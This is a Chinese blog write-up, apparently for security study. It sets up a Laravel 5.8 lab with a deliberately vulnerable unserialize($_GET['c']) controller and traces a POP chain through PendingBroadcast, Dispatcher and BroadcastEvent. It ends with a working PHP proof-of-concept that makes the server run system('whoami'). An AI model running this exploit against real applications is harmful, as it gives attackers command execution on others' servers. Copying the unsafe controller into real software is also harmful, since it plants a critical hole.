Hed9eh0g

前进的路上总是孤独的

laravel5.8.x 反序列化详记(一)

本文共计有2787个字

前言

laravel也是php主要流行的框架之一,值得挖掘。

环境配置

这里使用composer来安装

首先一定要先换成阿里云源:

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

然后安装指令:

composer create-project --prefer-dist laravel/laravel laravel5.8 "5.8.*"

然后访问public目录,页面回显如下代表安装成功:

《laravel5.8.x 反序列化详记(一)》

在/routes/web.php文件中添加一条路由:

Route::get("/","\App\Http\Controllers\DemoController@demo");

并且将原来的路由注释掉:

/*
Route::get('/', function () {
    return view('welcome');
});
*/

在/app/Http/Controllers/下添加DemoController控制器:

<?php
namespace App\Http\Controllers;

class DemoController extends Controller
{
    public function demo()
    {
        if(isset($_GET['c'])){
            $code = $_GET['c'];
            unserialize($code);
        }
        else{
            highlight_file(__FILE__);
        }
    }
}

刷新public界面即为刚刚所自定义的页面:

《laravel5.8.x 反序列化详记(一)》

目的:假设现实中在入口文件中存在直接反序列化点,且参数可控unserialize($_GET['c']);

POP链构造

寻找__destruct方法

关注Illuminate\Broadcasting\PendingBroadcast::__destruct()

《laravel5.8.x 反序列化详记(一)》

通过控制events参数可以调用任意类的dispatch方法,所以先寻找可以利用的该方法。

发现Illuminate\Bus\Dispatcher::dispatch()可利用。

跟进dispatch方法

    public function dispatch($command)
    {
        if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
            return $this->dispatchToQueue($command);
        }

        return $this->dispatchNow($command);
    }

如果可以满足第一个if条件,则可以调用dispatchToQueue方法,跟进该方法。

跟进dispatchToQueue方法

    public function dispatchToQueue($command)
    {
        $connection = $command->connection ?? null;

        $queue = call_user_func($this->queueResolver, $connection);

        if (! $queue instanceof Queue) {
            throw new RuntimeException('Queue resolver did not return a Queue implementation.');
        }

        if (method_exists($command, 'queue')) {
            return $command->queue($queue, $command);
        }

        return $this->pushCommandToQueue($queue, $command);
    }

存在call_user_func函数,可以调用任意方法。

那么只需要让前面的dispatch方法中if判断为真即可进入dispatchToQueue方法。

$this->queueResolver可控,只需让它为true即可,接着跟进commandShouldBeQueued方法。

跟进commandShouldBeQueued方法

    protected function commandShouldBeQueued($command)
    {
        return $command instanceof ShouldQueue;
    }

该方法中要返回真,只需要让$command,也即PendingBroadcast类中的$this->event是一个继承于ShouldQueue接口的类即可。

可以利用find usage找一个继承ShouldQueue接口的类,例如BroadcastEvent类:

《laravel5.8.x 反序列化详记(一)》

至此POP链构造完成,可以实现调用任意方法。

总结一下涉及到的类和接口:

1、Illuminate\Broadcasting\PendingBroadcast对应的方法为__destruct()

2、Illuminate\Bus\Dispatcher对应的方法为dispatch()

3、Illuminate\Broadcasting\BroadcastEvent用于继承ShouldQueue接口

涉及到的变量:

1、 PendingBroadcast类中的eventevents,前者用于继承ShouldQueue接口,后者用于实例化一个Dispatcher对象。

2、Dispatcher类中的queueResolver,用于想要执行的函数名。

3、BroadcastEvent类新创建一个变量connection,用于想要执行函数的参数。

POP预览流程

借用Somnus师傅的图:

《laravel5.8.x 反序列化详记(一)》

POC代码

<?php

namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        public function __construct($events="",$event="")
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver = "system";
    }
}

namespace Illuminate\Broadcasting{
    class BroadcastEvent
    {
        public $connection = "whoami";
    }
}

namespace{
    $d = new Illuminate\Bus\Dispatcher();
    $b = new Illuminate\Broadcasting\BroadcastEvent();
    $p = new Illuminate\Broadcasting\PendingBroadcast($d,$b);
    echo urlencode(serialize($p));
}

?>

结果:

《laravel5.8.x 反序列化详记(一)》

参考文章

Somnus师傅的文章

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注